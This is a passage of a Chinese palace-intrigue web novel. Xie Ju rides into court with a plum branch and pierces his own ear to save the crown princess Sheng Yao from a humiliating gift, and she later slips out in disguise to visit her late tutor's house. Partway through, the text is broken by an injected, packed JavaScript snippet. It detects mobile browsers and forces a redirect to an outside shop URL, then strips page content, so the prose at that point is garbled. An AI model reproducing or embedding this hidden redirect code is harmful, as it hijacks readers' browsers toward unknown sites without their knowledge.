“我替你寻了一支最好看的。” 10. 桃花入骨青珊瑚 梅枝犹点雪,花瓣尚殷红,与马上青年茜色的衣袍相映,俯仰之间,将许多剑拔弩张与阴谋算计,都衬得可笑又苍白。 满朝公卿,谁也未曾见过如此荒唐的场面。一个素有疯症的公子,骑着马撞开了殿内正门,手里还拿着一枝梅花,对着高坐的皇太女,说些风马牛不相及的疯话。 最先反应过来的,是丹陛阶下的谢巡。 老权臣的脸霎时铁青,勃然大怒,须发微张,喝道:“孽子!安敢如此放肆!”他一拍身旁的案几,砰的一声,厉声道:“还不下来!” 殿前武士闻声更进一步,刀戟森寒,那马儿受了惊,不安地刨着蹄子,一阵阵喷出响鼻。 谢琚控着缰绳,仿佛这才看到自己的父亲,他侧一侧头,左右扫视,从善如流地翻身下马,轻盈潇洒,丝毫不见慌乱。那匹通人性的白马便被人七手八脚地牵了出去。 “父亲。”谢琚理理微乱的衣袍,仍旧捏着那支梅花,神情坦然地唤了一声。 “孽子!”谢巡气得浑身发抖,指着他骂道,“殿前纵马,形同谋逆!来人,将这孽子给老夫拿下!” 这一声怒喝,终于将众人的魂魄唤了回来。 “丞相息怒!” “明公!明公!” 底下群臣,尤其是那些谢氏门僚,顿时乱了起来。 “殿下!”几位老臣连忙伏倒在地,“四公子素有旧疾,狂悖之举绝非有意冒犯天威,还请殿下与丞相明鉴,暂息雷霆之怒啊!” 众人一边向盛尧请罪,一边朝着谢巡劝解,一边又使眼色让武士们暂缓动手。一时间,殿内推拉劝让,谢巡“盛怒”之下,挣了两下,竟是被众人死死“按”住,无法上前。 而被这匹骏马冲得最狼狈的,莫过于繁昌王别驾魏敞。他被人从地上扶起,头上的发冠歪了半边,官袍上也沾了马蹄带起的尘土雪沫,方才那副辩才无双、咄咄逼人的气势早已荡然无存,狼狈不堪。 此刻正手忙脚乱地整理着仪容,脸上青一阵白一阵,惊魂未定,脸色万分难看。 这般精心准备的羞辱,就如此被一匹马,和一支梅花给搅得稀烂。 盛尧坐在高位上,心脏怦怦直跳。 我的天,我那条要命的鱼!她心里哀嚎一声,简直想把脸埋进袖子里。闹出这么大的乱子,这要怎么收场? 看着这片混乱,手脚冰凉,却又觉得这场景熟悉得有些可笑。 好歹比上次在太庙里强得多了……嗯? 眼见谢巡还在那里“盛怒”不已,底下幕僚“苦劝”不休。 她想起素日里老太傅骂人时,那副吹胡子瞪眼、谁都不放在眼里的模样。这么许多年的牢骚,终于也不是白听的,盛尧深吸口气。 啪地一声,双手将凭几一拍。 “哎,” 盛尧学着素日里老太傅的模样,朝后一坐,将眼略抬,摆摆手,老气横秋地叹气,“谢相,算了算了。” 谢巡动作微顿,带着“怒火”看向她。 盛尧拢一拢手,点一点头,“风雪访梅,乘兴而至。所谓‘疏狂’,便是如此了。越名教而任自然,若是循规蹈矩,那便不是名士,而是我等这样的凡夫俗子啦。” 老太傅是绝看不惯这套“越名教而任自然”的把戏的,与她说起,常常是在抱怨时风。因此将这话说得有趣,将谢琚那胆大包天的疯病,直接置于放浪形骸的名士风流面前。 自古有裸衣骂客,有长笑奔丧。底下公卿年轻些的,听她学着老学究的口气说话,又见她那老成模样,忍不住微笑。 殿内紧绷的气氛,霎时间松弛下来。 盛尧又转过头,和蔼地——看向脸色发白的魏敞,道: “魏卿方才是说,要一见谢家四公子,以识都中名士之风采么?”她伸手指了指殿中那人,“卿欲见之人,这便来了。魏卿,这岂不也是……天意?” 她生怕魏敞还要还口,赶紧将手一挥,接道:“还请魏卿,将此天意带回西川,与我繁昌皇叔,细细交代。” 魏敞的脸色青白不定,被这话噎得哑口无言。他要见的,是传闻中才华横溢的“麒麟儿”,或是天下笑柄的“痴子”,无论哪个都有后招应对。可如何能够想到,出来的是一个白马献花,“名士风流”的……奇人异士? 此番所有的准备都落了空,反倒成了衬托这所谓“名士风流”的丑角。 魏敞被她堵得胸口一闷,指着殿中之人,正欲再辩,却见谢琚前行几步,已将那枝梅花递到了丹陛之下。他本人对周遭的刀剑与公卿视若无睹,只微微偏头,使清澈的眸子看着盛尧,宛如等待她的夸赞。 眼见气氛扭转,一直作壁上观的岱州使者冯温,大约觉得是时候了。他笑眯眯地上前一步,先是朝着盛尧和谢巡分别一揖,朗声道: “今日得见四公子天人风姿,方知都中传言不虚。”冯温抚着圆润的下巴,摇头晃脑地道, “此等率性真狂,疏散风流,非大胸襟、大魄力者不能为也!魏别驾久居西川,只见山川之险,未识风月之豪,难免少见多怪,殿下与丞相不必介怀。” 明着是为谢琚开脱,暗地里却将魏敞又结结实实地踩了一脚,顺便还卖了谢巡一个天大的人情。 盛尧心里一动,看向这位笑呵呵的胖长史。 殿内众臣,大多是谢氏羽翼,当下纷纷附和,一时间,赞誉之声四起,将方才的剑拔弩张冲得干干净净。 谢巡的脸色也缓和下来,拂袖冷道,“竖子无状,让列位见笑。”他摆摆手,“老夫教子无方,家门不幸,家门不幸!” 是自谦,也是警告。底下公卿哪里敢接,纷纷躬身道:“丞相言重。”“四公子真性情,名士风采,我等钦佩不已。” 冯温见状,眼睛都眯成了一条缝,高声道:“我家主公听闻都中‘阴阳合德’之祥瑞,欣喜不已,特备下薄礼,以贺殿下喜得……佳偶。主公说,天意既成,合该为未来的中宫备下贺礼。” 说罢,他不等魏敞有机会反驳,便从袖中取出一卷细帛,恭敬奉予旁边内侍。随即向盛尧礼道:“臣所献贺礼已在殿外候旨。” 盛尧微一颔首,不久,两名内侍便抬着一只描金漆盒走上前来,在殿中打开。 霎时间,珠光宝气,满室生辉,华彩流溢,几乎晃花了人的眼。 盛尧坐着不动,点点头。献礼既毕,臣子便该垂手退下。她稍作等待,谁知冯温此时却不执礼退后,反而趋前一步,向上深深一揖。 盛尧左右想想,又看过魏敞。心想自己立足不稳,此时岱州既然当先献礼,须要显些格外尊重。于是站起身,下来察看。 这一看去,立时后悔。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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盛尧的手顿在半空,差点抖了起来,拿着那枚精致的珊瑚耳坠,左右看看,只觉得此物滚烫。 殿内静得可怕,所有人都看着她,看着她手里的那枚耳坠,眼神里有惊愕,有怜悯,恐怕也有不少打从内心的幸灾乐祸。 让她给一个男人戴上耳坠?如何戴? 名门公子,世家清流,毁伤肢体便是自绝于礼制,哪里有戴耳坠的说法? 就在此进退维谷,几乎要将那耳坠捏在掌心之时,一只手轻轻覆上了她的手背。 众人大气都不敢出一下,只见这桃花似的青年抬起手,将那枚耳坠举到了自己的左耳边。 盛尧目瞪口呆。 没有丝毫犹豫,青年手腕微动,那耳坠尖锐的银钩末端,便被他毫不留情地用作破骨的锥刺,生生扎穿了自己的耳垂。 动作干净利落,宛如生的并非血肉之躯,只不过是柔软的布帛。 一滴血珠从耳垂下缓缓渗出,顺着他颈项的肌理滑落,滚落在雪白的狐裘上,浸染出一点梅花似的嫣红。 他却仿佛感觉不到丝毫疼痛,只是侧了侧头,珊瑚坠在颊边轻轻晃动,血珠仍在往下淌,好似也浑不在意。 谢琚转过头,迎上盛尧惊骇的目光,微微轻笑。腕间铜铃叮当细响,与那摇荡的耳坠相应和。 他抬起修长的手指,先是轻轻碰触耳上血迹,又将指尖凑到唇边,伸出舌尖,将那点血色舐去。 “阿摇,” 谢四公子轻笑一声,眼波流转,带着惑人的危险艳色。 “很好看,”他说,对盛尧悠闲地点点头,“我很喜欢。” 11. 奇耻大辱!第二次 魏敞冷笑一声,袍袖一拂,避而不语。而那位笑眯眯的冯温,在众目睽睽之下,又对着谢琚,行了一礼,口中啧啧赞叹,称颂四公子乃“真名士自风流,为知己者死”,生生隐去了那后头半句“为悦己者容”,只道是“千古未有之君臣和合”,随即躬身回筵。 见他这样匆忙,殿内半数公卿都忍不住拿袖子掩了掩嘴角,想笑又不敢,表情个个扭曲。 盛尧牙缝后头都是凉的,本来脸皮薄,但这几日也锻炼出了几分,她看着丹陛之下那个茜衣白裘,耳垂珊瑚的青年,点点头,装出从容的样子。 来使应对虽然重要,但终究是虚言。现今半为乱世,最终还是要落到兵马粮草上头。魏敞与冯温既已在言语上落了下风,探到了谢巡不惜一切也要扶立女储的决心,便也失了继续纠缠的兴致,恨不得即刻回报主公,早做计较。 魏敞面如寒冰,冯温抚须微笑,群臣各怀心思,却再无人敢当众指摘。 一场风波,就此消弭。 盛尧心里也轻快许多,不待宫人来扶,就自己走下丹陛,谢巡依旧维持着怒容,狠狠瞪了谢琚一眼,拂袖而去。 满朝公卿,三三两两地散了。有人为今日之奇变而惊叹,有人为谢四公子之狂行而咋舌,更有人,已在暗中盘算,这场闹剧之后,天下兵马粮草,又该如何调度。 风雪并未平息,只是暂时被这更烈的风,给吹得换了个方向。 * 回别苑的路,雪已停下,铅灰色的云层却未散去,天与地之间,是一片令人压抑的沉寂。 盛尧坐在八人抬的步辇之中,辇车四角悬着暖炉,内里铺着厚厚的锦垫。透过纱帘的缝隙,悄悄地向外看。 谢琚就走在辇车之侧。 依东宫仪制,太子中庶子乃是近臣,有随侍之责,却无同辇之荣。他便这样,一言不发地跟在旁边,茜色的衣袍在风雪中微微拂动,白色的狐裘裹得严实,只露出那张过分精致的脸。走得平静安雅。倚在辇侧,恰似闲云白月,露井桃花。 左耳上那枚青珊瑚坠,随着他的步子轻轻摇晃,衬着苍白的侧脸,显得颇是冶艳。谢琚噙着微笑,没有去管仍在缓慢渗血的伤口,只是低着头,安静地把玩着手上的梅枝。 花瓣被颠簸得微微颤抖,嫣红的花蕊,与耳垂上那抹血色相映。 是巧合吗?是一个疯子恰好在最关键的时候,发了一场最恰到好处的疯? 盛尧几次张口,想问他疼不疼,话到嘴边,却又被他浑然不觉的茫然样子给堵了回去。 “那个……”她没忍住,小心地从步辇上伸出头,“你的耳朵……要不要紧?我让人去寻医正……” “花。” 谢琚抬起头,打断了她的话。他抿唇一笑,将那枝梅花举到盛尧面前。 “阿摇,不好看么?”他偏着头问,眼波浮动,似乎因她不曾夸奖而有些委屈。 盛尧伸出手,接过那枝梅花,点点头,与他安慰道:“好看,很好看。” 只是心里还是想,一定很疼吧。 倒也不是很疼。 ——是疼得快要疯了! 疼得毫无尊严,疼得只想满地打滚。 寒风如刀割般,一下下地剐过耳上新鲜的血洞。起初在殿上,凭着一股狠劲与算计撑着,还不觉得如何。此刻松懈下来,尖锐撕裂般的疼痛排山倒海地涌了上来,一抽一抽,牵扯着半边脑袋都在嗡嗡作响。 耳坠的银钩粗钝,根本不是为穿刺皮肉而制,生生扎进去,几乎是撕裂了耳垂的血肉。每走一步,那枚该死的珊瑚坠就在颊边晃一下,扯得伤口又一阵烈痛。 他谢琚长这么大,便是跟着父亲去军中,也未曾受过这等皮肉之苦。如今为了保住一个傀儡的名声,为了圆一个荒唐的谶纬,竟要当着满朝文武的面,自伤己身。 美玉琼琚的耳朵,也是耳朵啊!也是爹生娘养的血肉之躯! 奇耻大辱!第二次。 疼,又气,气,又疼。 谢琚觉得自己的耳朵快要烂掉了,眼泪在眼眶里打转,硬生生被他逼了回去。 白马撞殿,是早就备下的后手。府中消息言道来的是别驾魏敞,西川名士,知名的言辞犀利,父亲一时也难寻万全之策。若不行奇诡,皇太女今日必将大失颜面。 只是没想到,那岱州的老狐狸还藏着一招更阴损的。 一盒首饰,简直是要将他往死里逼。心里将那岱州牧田昉骂了上百回,又不惜满门抄斩的罪过,将繁昌王盛衍的祖宗都问候了一轮。 骂到最后,无处发泄的邪火,却兜兜转转,全落在了前面步辇里那个小丫头身上。 好巧不巧!怎么就偏偏拿了个耳坠子! 谢琚咬着牙,气得脑仁都疼。偏偏是耳坠!需要穿骨破皮的耳坠! 那盒子里剩下的,是些什么玩意?凤钗、步摇、金丝璎珞…… 谢琚打了个寒噤,光是想一下自己满头珠翠的模样,就觉得比穿骨耳洞更想死。 这么一算,那枚耳坠,竟然还真是当时所有选项里,最不丢人的一个了。 如此转念想过,她情急之下,学着老学究的口气,说什么“疏狂”、“名士风流”,倒也有几分急智。那副老气横秋的模样,现在想来,居然还有点好笑。 算是有些意思。 把足以被御史弹劾半年的死罪,硬是给掰成了放浪形骸的雅事,堵得那个姓魏的哑口无言。临场反应,算是不错。 这么算来,最多也就是扯平了。谁也不欠谁。 哦,不,还是她把他拉到这泥潭里,她欠他的。 * 回了别苑,谢四公子破天荒地没有挂在盛尧旁边,甚至没等晚膳,便一头扎进了自己的西厢房,两天都没出来。宫人只当他受了惊吓,旧疾复发,谁也不敢去打扰。 盛尧派人去问了几次,都被守在门口的谢府侍从拦了回来,只说四公子“偶感风寒,正在静养”。她有些担心,亲自端着汤药过去,也吃了闭门羹。 隔着门,她只能听见里面谢琚轻轻地和她说道:“阿摇,我没事……就是想睡觉……你别吵我……” 声音听起来确实虚弱,盛尧也无法子,便不再打扰,只吩咐膳房备着吃食,随时温着。 而其时门内的谢四公子,正抱着被,在榻上疼得死去活来。 谢琚咬着牙,只觉得左边半张脸都在抽痛,耳朵更是像被一盆炭火燎着,火辣辣地疼,还嗡嗡作响。他缓了好半天,才踉跄着走到镜前,伸出手,想将那要命的玩意儿取下来,可指尖刚一碰到伤处,一股剧痛便直冲头顶。 谢琚倒吸一口凉气,疼得眼前都有些发黑。 活了二十年,自诩算无遗策,智计过人,何曾这般狼狈过? 夜深人静,西厢房里,这位名满都中、风姿特出的谢四公子,一个人坐在熏笼边,对着铜镜,小心翼翼地拿热帕子去敷肿起的耳朵。 帕子一沾上,疼得他咬牙切齿,眼圈瞬间就红了。 疼得发疯,也气得发疯。 整整两天,谢四公子没让任何人近身。只有自己知道,是疼得偷偷掉了两天眼泪,夜里翻来覆去睡不着,枕上都沾了血。这点狼狈与脆弱,打死也不能教人知道。 丑的要死,也不好看,尤其是不能让那只兔子知道。 * 兔子这两日也没闲着。盛尧痛定思痛,总觉得虽然侥幸过关,却胜得既不光彩,也全无底气。 她坐在别苑的书房里,手里捏着枯萎的梅花,反复发呆。 下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16692707|188915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次,当更尖锐的诘难摆在面前时,总不能还指望自家那条鱼恰到好处地发疯。万一他不疯,或是疯得不是时候,自己岂不是要被人当场剥皮拆骨,连渣都不剩? 盛尧坐在书房里,支着下巴,对着面前的舆图发出神。 嘉德殿上,魏敞咄咄逼人,冯温笑里藏刀。 …… 她心里头很是羡慕! 仔细想来,盛尧觉得这朝堂论战,就好似都中小儿们玩的斗蛐蛐。 繁昌王和岱州牧,都养着一等一的好蛐蛐。魏敞是只尖牙利嘴的黑头将军,冯温是只老奸巨猾的黄麻头,一上场便能把对手咬得节节败退。 可她自己呢?她有什么? 她这个蛐蛐主人,穷得叮当响,就只能做个看客,看着别人的蛐蛐在盆里厮杀得你死我活,而自己手里连根用来拨弄的草棍儿都没有。恨不得自己亲自下场,伸手把对方的蛐蛐给按死。 可是不行啊,主君怎么能亲自下场和蛐蛐斗呢?太失身份。 盛尧叹了口气,拿笔杆敲敲自己的额头。 她也想要一只厉害的蛐蛐,替她冲锋陷阵,去咬那些讨厌的家伙。 可上哪儿去找呢?都中名士,要么是谢巡的门生故吏,要么是自矜风骨的世家子弟,谁会愿意追随她这个根基未稳、前途未卜、还被权臣攥在手心的皇太女?投靠她,无异于将身家性命都押上一场必输的豪赌。 她正自发愁,忽然想起了那个骂了谢巡十年,骂得她耳朵起茧的老太傅。 老太傅虽然古板,脾气又臭,但学问是真的好,骂起人来引经据典,中气十足,想来斗蛐蛐的本事也差不到哪儿去。又是六世簪缨的名门之后,在士林中颇有声望。 唔……老太傅最重祖宗礼法,他能接受一个女人当储君吗? 盛尧有些拿不准,但眼下,这也是她唯一能想到的人了。 想到这里,她立刻坐直了身子,扬声唤道:“来人!” 老黄门令躬身而入,“殿下有何吩咐?” “卢太傅那边,”盛尧问,“自我行冠礼之后,可有什么消息传来?” 老黄门令有点为难,应道:“回殿下,太傅大人抱病归家久矣……并无任何的信函往来。只是……” “什么?” “前几日,遴选内卫之时,”老黄门令迟疑道,“倒是有个自称卢家门客的人,鬼鬼祟祟地在别苑外头转悠,说要给殿下送一样东西。底下奴婢们见他行迹可疑,衣着也不甚体面,怕是都中那些想攀龙附凤的骗子,便没敢惊动殿下,将人打发了。” 盛尧心里一紧,连忙催他:“东西呢?东西还在吗?” 老黄门令点一点头。 “老奴想着,若是骗子,扔了便是;若真有什么要紧事,也好留个凭证。” 很快,一只素色布帛包裹被呈了上来。盛尧解开布包,里面是一卷并无轴头的绢帛,看起来不像是正式的文书。 她将绢帛展开,只见上面写着寥寥数行字。 “移花接木,李代桃僵。近卫之内外既定,一榻之睡卧方安。” 盛尧睁大眼睛。 ……这正是她设立内卫时的策略。保留东宫旧属为表,新设内卫为里,明暗两分,釜底抽薪。此事除了她与谢琚,再无第三人知晓,这人是如何得知的? 她仔细去看那字迹。卢太傅的书法雍容端正,苍劲古拙。而这绢帛上的字,却龙飞凤舞,锋芒毕露,疏狂不羁得简直将要从纸背后透露出来。 盛尧心里又纳闷又忌惮,一时想不明白,卢家怎么会有人知道她的心事?又或者,这根本不是卢家的人,只是借了太傅的名头? 她将绢帛小心地卷好,藏入袖中,心里想着。 不管这人是谁,她都要找到才好。 12. 我跟着阿摇 按道理来说,自然是以皇太女的身份,前去拜会致仕告病的太傅。合情合理,既显尊师重道,又能全了君臣之礼。 却也太过惹眼。无异于敲锣打鼓昭告天下,她要另寻羽翼,与谢氏分庭抗礼啦! ……只怕人还没见到,半路就要被谢巡派来的人“请”回别苑。 须得私下去。 夜里,盛尧将郑小丸叫到书房,两人凑在灯下,小声商议。 “殿下要出宫?”郑小丸听了,眼睛一亮,压低声音道,“这有什么难处?别苑的宫墙虽高,但西南角有棵老槐树,枝丫探得长,我先上去,将绳子抛下来,殿下……” “我不会飞,”盛尧指指外头的宫墙,“我连爬树都不会,定要摔个半死。墙外就是禁军巡逻的驰道,我们深更半夜在墙头挂着,不是活靶子是什么?” 郑小丸想了想,又道:“那便走正门。我听说宫中采买的内侍,每日清晨都出入。我们寻两身内侍的衣服,找个脸生的守卫,塞些金银……” “我不会变,”盛尧指指自己的脸,“这别苑里的宫人,谁知道是谁的耳目?我们前脚换上衣服,后脚消息就不知道在谁家桌案上了。” 两人继续对着宫城舆图,愁眉不展。 “有了!”盛尧一拍手,“我扮作男子,穿上麟卫的服饰,你我二人,扮作寻常卫士,趁着换防时混出去。” 郑小丸思量片刻,觉得此计可行:“殿下换上男装,倒也不易分辨。只是卫士出宫……” “卫士出宫,也需有都尉的符传和卫尉府的勘合文书,”郑小丸续道,“我是都尉,可这符传调动,终究要报备东宫詹事府,还是会惊动旁人。” 盛尧的眉头又皱了起来。 就在她二人一筹莫展之际,门外响起一阵清脆又熟悉的铃声。 叮铃。 两人心里皆是一惊,不约而同地噤了声。 门被轻轻推开一道缝,一颗头从门后探了进来。谢琚大约是刚睡醒,长发使一根素色带子束着,脸色还有些苍白。左耳红肿仍未全消,衬出那枚青珊瑚坠子亮得夺目。 “你们……”他抱着手炉,揉着眼睛走进来,“在说什么悄悄话?” 盛尧赶紧将舆图卷起藏在身后,笑道:“没什么,我们在商量……明日操练的阵法。” 谢琚显然不信。他踱步过来,看看盛尧紧张的脸和郑小丸紧握的剑柄,又看看盛尧藏在身后的图卷。 “阿摇,”他忽然凑近,在她耳边轻声说,温热的气息吹得她耳朵发痒,“你要出去玩吗?” 盛尧赶快摇摇头:“没有。” “哦。”青年点点头,也不追问,只是在她身边坐下,将手炉塞进她怀里,倚在她旁边,使那白色的狐裘裹一裹自己,又顺便裹一裹她,闭上眼睛,好似又要睡着的模样。 盛尧被他这突如其来的亲近弄得浑身僵硬,又怕他闹起来,引来外头的宫人。因此皱着眉,觉得这条鱼十分胡闹,白马撞殿之事已经是万分离谱…… 等一等。 她将谢琚一推,眼看谢琚迷迷糊糊地歪过去,也不再管,只将郑小丸拉到一边,飞快地悄声与她布置:“你明日去麟卫里,挑个与我身形相仿、机灵可靠的,让他告假一日。我换上他的衣服,扮作随从,跟在……跟在中庶子身边。” 郑小丸点点头,又有些担忧:“可殿下,他……”她朝谢琚的方向努了努嘴。 “没事,”盛尧向后一示意,胸有成竹,“他神智不清醒,好糊弄。等出了宫,到了街上,人多眼杂,我寻个由头支开他,我们觑得机会脱身。” …… 本来是这样打算。 大约其中一半是成了,这白马撞殿谢公子,此时宫内谁人不知。嘉德殿上也能走马,平日禁中哪个敢拦?掖门处兵士见是谢琚与新晋的女都尉郑小丸,身后还跟着个低眉顺眼的清秀小校,草草验过东宫符传,便顺利地教他们出宫,连多问一句都未敢。 盛尧长长地舒了口气,抬头看着宫外那片阔朗的天空,又看一眼身后越来越远的宫墙,只觉得连空气都是自由的,心中生出一种宛如飞鸟出笼般的快意。她跟在队伍末尾,悄悄朝郑小丸使了个眼色,示意她准备脱身。 可还是低估了谢琚的难缠程度。 走离宫门,便有人声喧嚣扑面而来。盛尧正想找个借口,说口渴要去寻水,谢琚却像背后长了眼睛似的,一把抓住了她的手腕。 “中庶子,”她试图小声哄他,“前面坊市有卖饴糖的,我去给你买些来?” 谢琚停下脚步,偏过头,目光在她脸上转了一圈,温顺地道:“不,我跟着阿摇。” 他这一声“阿摇”叫得熟练柔和,盛尧穿着男装,觉得别扭,生怕教人听出不对,只好又道:“去处在城南,路途颇远,我们得雇一辆车。你在这里等,我去去就回。” “我跟你一起去。”谢琚拉住她的袖子,半点不松手。 盛尧试了几回,没法子,心里暗暗发愁。三人走到坊前车马聚集之处,她指着路边车马,对郑小丸道:“雇一辆轺车,快去快回。” 轺车,不过一马一辕,车上有坐席而无车厢,轻便快捷,价格也最是便宜。寻常百姓官吏出行,多用此车。 “不要,”谢琚皱起眉,伸手指向旁边一辆四面都有帷幔遮挡、内里想必铺着软垫的辎车,“我要坐那个,那个暖和。” “不行,”盛尧毫不犹豫,“我们……我们只是出来逛逛,租那么大的车做什么?” 心里的小算盘打得噼啪响,坐轺车,目标小,方便随时觑着机会开溜。要是坐进那种封闭的辎车里,三人共处,还怎么跑? 谢琚却显得莫名其妙的慌张。 “我就要这个。” 盛尧心里着急,哪里有空与他分说,只当他是痴儿心性发作,摇摇头便道:“听我的,就这辆。快些,别耽误工夫。” 说罢,便率先跳上了轺车。郑小丸紧随其后,坐前头车辕,手按剑柄,警惕地环顾四周。 谢琚见她不理会自己,抿了抿唇,似乎万分不情愿,但最终还是慢吞吞地跟了上来,在盛尧身边坐下。车夫一扬鞭,轺车便轻快地驶入了都中的晨雾。 盛尧心中盘算,待会儿到了人多处,便让郑小丸去将他支开片刻,自己则趁机溜走。 轺车驶入主街。天光渐亮,街市也开始热闹起来。晨市早集,人声鼎沸。道路两侧,商铺林立,酒旗招展,有沿街叫卖烤栗子的小贩,也有搭着棚子卖炊饼的摊头。行人往来不绝,车马川流不息,一派喧闹景象。 盛尧从未见过这般鲜活的图景,一时有些看呆了。幽居十年,都城于她,只是舆图上的一个方块,史书里的几个名字,自从十年前父亲被扶立为帝,这还是第一次像个寻常人一样,走上都城的长街。 可惜很快就为自己的这个决定,付出了代价。 她扒着车辕,左右探看。谢琚却浑身都散发着“我不高兴”的气息,将白裘抱在手里,只是独坐在车边。 总算将他制得安静,盛尧心里刚稍微得意,忽然,一颗深红色的东西从天而降,啪嗒一声,掉在了她的膝上。 盛尧起先还以为是遇了刺客,心里一紧,手都按上了腰间的佩刀。抬头定睛,才发现楼上雕花的窗棂后,几个衣着鲜亮的少女正掩着嘴,偷偷地朝他们这边笑。 啪。 “……” 她再低头一看,是颗干枣。 谢琚似乎也被吓了一跳,低下头,看着那枚枣子,又抬起头,望向那窗棂。 这一望,可捅了马蜂窝。 便听见有姑娘嬉笑几声,楼窗被竹竿挑起,帷幔晃动,又两枚砸了过来,盛尧还没反应,又是一串糖渍的山楂果子,这次准头好了些,砸在了谢琚的肩上。 谢琚被砸得一个激灵,又将头转过去,正对上几双含羞带笑的眼睛。 老天。 盛尧瞬间明白,自己忘了他这套皮相来着。 夭女少年,悠游都中,掷些花果以表爱慕,也是常有。 ……可那是春日里的鲜果!眼下是寒冬腊月,这裹着糖的山楂!冻得硬邦邦的棠梨!又冰又硬,简直跟石头没什么区别!这哪里是示爱,分明是暗器! “快!”盛尧心明眼亮,朝旁边就是一扑,不管谢琚挣扎,一把把他按在底下,将头脸掩过,朝前拍拍郑小丸的肩膀,“快走!中庶子长成这样,出门是要挨打的!” 郑小丸与车夫马鞭一扬,轺车一路疾驰,拐进一条僻静无人的小巷,才停了下来。 车上,谢琚终于得以喘息。从她身子底下抬起头,衣冠散乱,满脸通红。盛尧低头一看,只见他衣服头发上,都被砸了几个果子。 漂亮的眼睛幽怨地盯了盛尧一眼,好似控诉主君的独断专行。 盛尧默默地从他头上摘下一颗粘着的山楂,塞进嘴里。 还挺好吃。 带着条锦鲤,也的确是有点招摇。 她深刻的反省,默默地又从他发间拈下一颗冻硬了的棠梨,想了想,还是递还给他。 “给。” 谢琚看也不看,转过身,只留给她一个愤怒的背影。 郑小丸将头歪过来道:“殿下,我们还是快些赶路吧,此处不当久留。” 盛尧点点头,将手里的果子核吐掉,对车夫道:“去城南,鸣玉坊。” 车夫应声,调转马头,轺车再次起行。经此一劫,既然甩不掉他,盛尧也不敢再让他抛头露面,走到人多处又改雇了一辆辎车。还是不放心,寻出顶帷帽给谢琚戴上,遮得严严实实,总算清净了些。 * 鸣玉坊是都中旧坊,多是些致仕的官员或是家道中落的旧日世家所居。坊内巷道幽深,两侧院墙高耸,墙头覆着白雪,偶有几枝枯瘦的腊梅探出墙来,给这冬日添了点颜色。 辎车在一方朱漆剥落的乌头门前停下,门楣上悬着一块旧匾,依稀能辨认出“卢府”二字,字迹已有些模糊。 果然如传言那般,很是冷清。 门前未扫的积雪被人踩出了几个脚印,却又被新雪覆盖,看不真切。大门紧闭,连个看门的仆役都没有。若不是那块旧匾,任谁也想不到,这便是曾经教导过太子,在朝中颇有清望的卢太傅府邸。 盛尧觉得不大对,这与她想象中名士府邸的清雅截然不同,反倒透着一股衰败之气。她整了整身上并不合身的卫士服,深吸一口气,上前叩响门环。 铜环撞击木门,叩叩两声。 等了许久,门内才传来响动。 吱呀一声,木门被拉开一道窄缝。一张警惕的脸从门后探了出来。 是个年轻的女郎,约莫十八九岁的年纪 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“过世了。”女郎重复了一遍,“停灵七日,出殡之时,凡门生故旧,都中稍有往来者,谁人不知?谁人不晓?” 她目光径直望向盛尧。 “你又是从何处冒出来的‘旧日门生’?” 盛尧心里悲痛,喉间哽咽,忽然说不出话来。 女郎见她神情不似作伪,眼中的警惕却未减分毫,她将门又掩上些,只露出一边清亮的眸子,追问道:“足下既称门生,先师亡故,弟子不奔,此乃悖逆人伦大不孝之罪!足下又作何解说?” 盛尧一时语塞,她如何能来?她那时被困在别苑,自身尚且难保,连太傅病故的消息都不得而知,又谈何奔丧? 郑小丸当先替她生气,道:“我家……公子身份贵重,不是随随便便就能来去的。” “身份贵重?”女郎冷笑一声,目光在郑小丸腰间佩剑上一扫,“我卢氏六世簪缨,先祖父帝师之尊,什么样的贵胄子弟不曾见过?便是当朝丞相的四位公子,见了我祖父,也得执弟子礼。你家公子,又是哪一门的贵重?” 郑小丸见盛尧脸色难过,替她着急,道:“你大户人家,也这样不懂事,弟子就是弟子,来寻师傅,又怎么了?” 女郎下颌微扬,将那门缝开了点儿,向前逼近一步,应道:“弟子?也罢,你既然说不清师承年份,我便问你些别的。” 她语速极快,全不给人思索的余地,“家祖治学,《春秋》三传,独尊何家?《礼》今古文,又持何见?《太玄》《论衡》,怎样评说?他老人家常言,为政之要,在于‘正名’,其典出何处,本义为何?” …… 在说些什么玩意? 一连串的问题砸下来,盛尧彻底懵了。这些经义学问,老太傅或许提过,但更多的时候,她都在琢磨言语里漏出来的时局,和对谢巡的痛骂,哪里记得这些东西? 女郎见她不说话,又问道,“既不治经,那我祖父平生最恶何人?政述文章,最得意者又是哪一篇?” 老太傅最恨的自然是谢巡,可天下谁人不知?至于文章……她只记得他每日痛骂谢氏的腹稿,篇篇都堪称一代雄文,却不知哪篇才是他平生得意杰作。 这疾迭数问,如连珠快箭,层层盘勒,步步紧逼,言辞犀利,不留半分余地。盛尧被她问得节节败退,只觉得眼前这少女的目光,比嘉德殿上魏敞的诘难更要锋利。 她这副模样,落在女郎眼中,更坐实了心虚。 “怎么,无话可说了?”女郎的声调愈发冰冷,“我再问你,你身后二人,又是何人?一个女子佩剑,不似侍婢;另一个……” 她目光掠过戴着帷帽的谢琚,顿了一顿,语气里添了点儿鄙夷,“……装束怪异,藏头露尾。” 盛尧后背已渗出冷汗,郑小丸也被她说得慌了。谢琚抱起双臂,一言不发。 “而你……”女郎忽然轻轻冷笑,将她上下再一打量,“腰间佩刀是禁中制式。武人打扮,但这双手却细皮嫩肉,未曾有过刀茧,也未执过农桑。你究竟是谁?借我祖父之名,意欲何为?” 郑小丸吓得将手握住剑柄,女郎毫不畏惧地迎上,声音清越如冰,“我祖父一生,门生故旧遍于天下,就只晚年幽愤,闭门谢客。唯有一位弟子,藏于深宫,不得见人,是为师者之憾,亦是为臣者之忠!” 她一把将门拉开,居然是直视着盛尧,硬生生地说道: “我祖父只有一个见不得光的弟子,就是皇太女殿下!” 话音未落, 